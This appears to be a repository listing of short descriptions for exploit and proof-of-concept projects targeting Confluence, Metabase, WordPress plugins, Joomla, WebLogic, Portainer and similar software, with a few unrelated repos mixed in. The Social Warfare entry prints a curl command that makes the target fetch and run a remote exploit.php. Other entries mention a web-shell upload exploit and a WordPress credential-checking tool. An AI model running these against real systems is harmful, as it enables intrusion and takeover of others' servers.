CVE-2023-22518

CVE-2023-22518 Checker for CVE-2023-22518 and CVE-2023-22515 critical vulnerabilities in Confluence. Description This script is designed to check for and exploit vulnerabilities in Atlassian Confluence instances. It checks for the vulnerability CVE-2023-22518, and exploits the vulnerability...

CVE-2026-72898

🔴 CVE-2026-72898 - Unauthenticated SQL Injection Metabase — Unauthenticated SQL Injection → Full Administrator Takeover 📌 Overview CVE-2026-72898 is a maximum-severity CVSS 10.0 unauthenticated SQL injection vulnerability in Metabase that allows a remote attacker to inject arbitrary SQL into the...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress plugin RCE RCE on a Social Warfare Wordpress plugin without any prior authentication Proof Of Concept curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Vulnerable code : Fix:...

CVE-2024-28000

CVE-2024-28000 PoC This repository contains tools for exploiting the CVE-2024-28000 vulnerability affecting WordPress sites using the LiteSpeed Cache plugin. The included scripts automate the detection of exposed debug.log files and the exploitation of a privilege escalation vulnerability that...

JoomlaCVE20168869

Exploit for Joomla 3.4.4 - 3.6.4 CVE-2016-8869 and CVE-2016-8870 with File Upload web shell This is PHP port, original python source code provided by @link https://github.com/XiphosResearch/exploits/tree/master/Joomraa Usage: php exploit.php --username hacker -p password -e [email protected]...

qubes-core-admin

Qubes core, version 3 This is master branch of the Qubes OS core. API documentation is available: https://dev.qubes-os.org/projects/core-admin/en/latest/...

CVE-2020-14882-WebLogic-Analysis

Vulnerability Research: Exploitation of the CVE-2020-14882 and CVE-2020-14883 Chain in Oracle WebLogic Server The repository contains a technical report Write-up and a conceptual Proof of Concept PoC demonstrating the chained Authentication Bypass and Remote Code Execution RCE vulnerabilities in...

CVE-2022-35501

CVE-2022-35501 Stored Cross-site Scripting XSS in blog-post creation functionality in Amasty Blog Pro for Magento 2 Description The post creation functionality in the Amasty Blog Pro 2.10.3 and 2.10.4 plugin for Magento 2 allows injection of JavaScript code in the title field, leading to XSS...

CVE-2025-54309

CVE-2025-54309 CrushFTP Authentication Bypass Overview CVE-2025-54309 is an authentication bypass vulnerability in CrushFTP that allows unauthorized administrative user creation through AS2 header manipulation. Technical Details Vulnerability Location File : crushftp/server/ServerSessionHTTP.java...

signal-server-dropwizard-admin

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · signal-server-dropwizard-admin signal-server-dropwizard-admin Class: Privilege leftover Reach: Remote Signal-Server v20261007.0.0 a15d5cd - Signal Messenger, LLC Dropwizard 5.0.2 DefaultServerFactory ships an HTTP adm...

CVE-2026-26119

CVE-2026-26119 WAC RCE - CVE-2026-26119 Windows Admin Center authenticated RCE via WinREST/PowerShell invokeCommand. Usage: python3 wacrce.py "" WACPASS= python3 wacrce.py Env: WACBASE - override target base URL default below WACPASS - password, used if not passed positionally...

EITS-Portal-Exploit-CVE-2026-31367-PoC

💥 CVE-2026-31367: EITS Admin Dashboard v2.4.0 - RCE PoC This repository contains the Proof of Concept PoC for the unauthenticated Remote Code Execution RCE vulnerability in EITS Admin Dashboard v2.4.0 CVE-2026-31367. The vulnerability occurs due to a flaw in input sanitization on the /api/v1/debu...

WHOREPRESS

Wordpress login checker Install npm install --global whorepress Usage make sure you have a list with format url:username:pass whorepress list.txt Arguments list Arguments| Description ---|--- --admin-only| check only for admin priviledge --debug| debug error output --output| Output file Author...

Admin-Panel_Finder

Admin Panel Finder A burp suite extension that enumerates infrastructure and application Admin Interfaces. OWASP References: Classification : Web Application Security Testing 02-Configuration and Deployment Management Testing OTG v4 : OWASP OTG-CONFIG-005 WSTG : WSTG-CONF-05 Why should I use this...

p2p

P2P Remote Desktop Remote Desktop P2P based - Portable, No Configuration or Installation Needed. How it works Compile and Open p2p.exe as admin in 2 different PC's. Copy the My Lan or Wan IP and communicate it to other peer and vice versa. The 2 peers have now the 2 endpoint to connect to, so pre...

CVE-2021-40101

Survey XSS combined with CSRF leads to Admin Account Takeover in Concrete5 8.5.4 A Concrete CMS admin in versions below 9 did not have to provide their password when changing another user's password. In combination with CVE-2021-28145 "Concrete CMS formerly concrete5 before 8.5.5 allows remote...

CVE-2026-19501-poc

CVE-2026-19501 Poc Description: Sureforms is vulnerabale to a unauthenticated CSV injection vulnerability when attacker can inject a CSV formula when submit a form. This formula will be excuted when admin export CSV file and open it. Step to reproduce: Step 1 : Submit a form and then intercept th...

CVE-2026-44848-PoC

CVE-2026-44848 — Portainer: Missing Authorization on Docker Plugin Endpoints → Host RCE Proof-of-concept for CVE-2026-44848 , a missing-authentication CWE-862 vulnerability in Portainer that lets a non-admin user with Docker endpoint access perform privileged Docker plugin operations → full host...

CVE-2023-32315

CVE-2023-32315 Openfire's administrative console the Admin Console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environmentin an already configured Openfi...

CVE-2026-72898

CVE-2026-72898 PoC : Metabase Unauthenticated SQL Injection Metabase Pre-Authentication SQL Injection Leading to Admin Takeover Proof-of-concept for CVE-2026-72898, a critical unauthenticated SQL injection in Metabase's password-reset endpoint. The PoC injects a forged admin session row into the...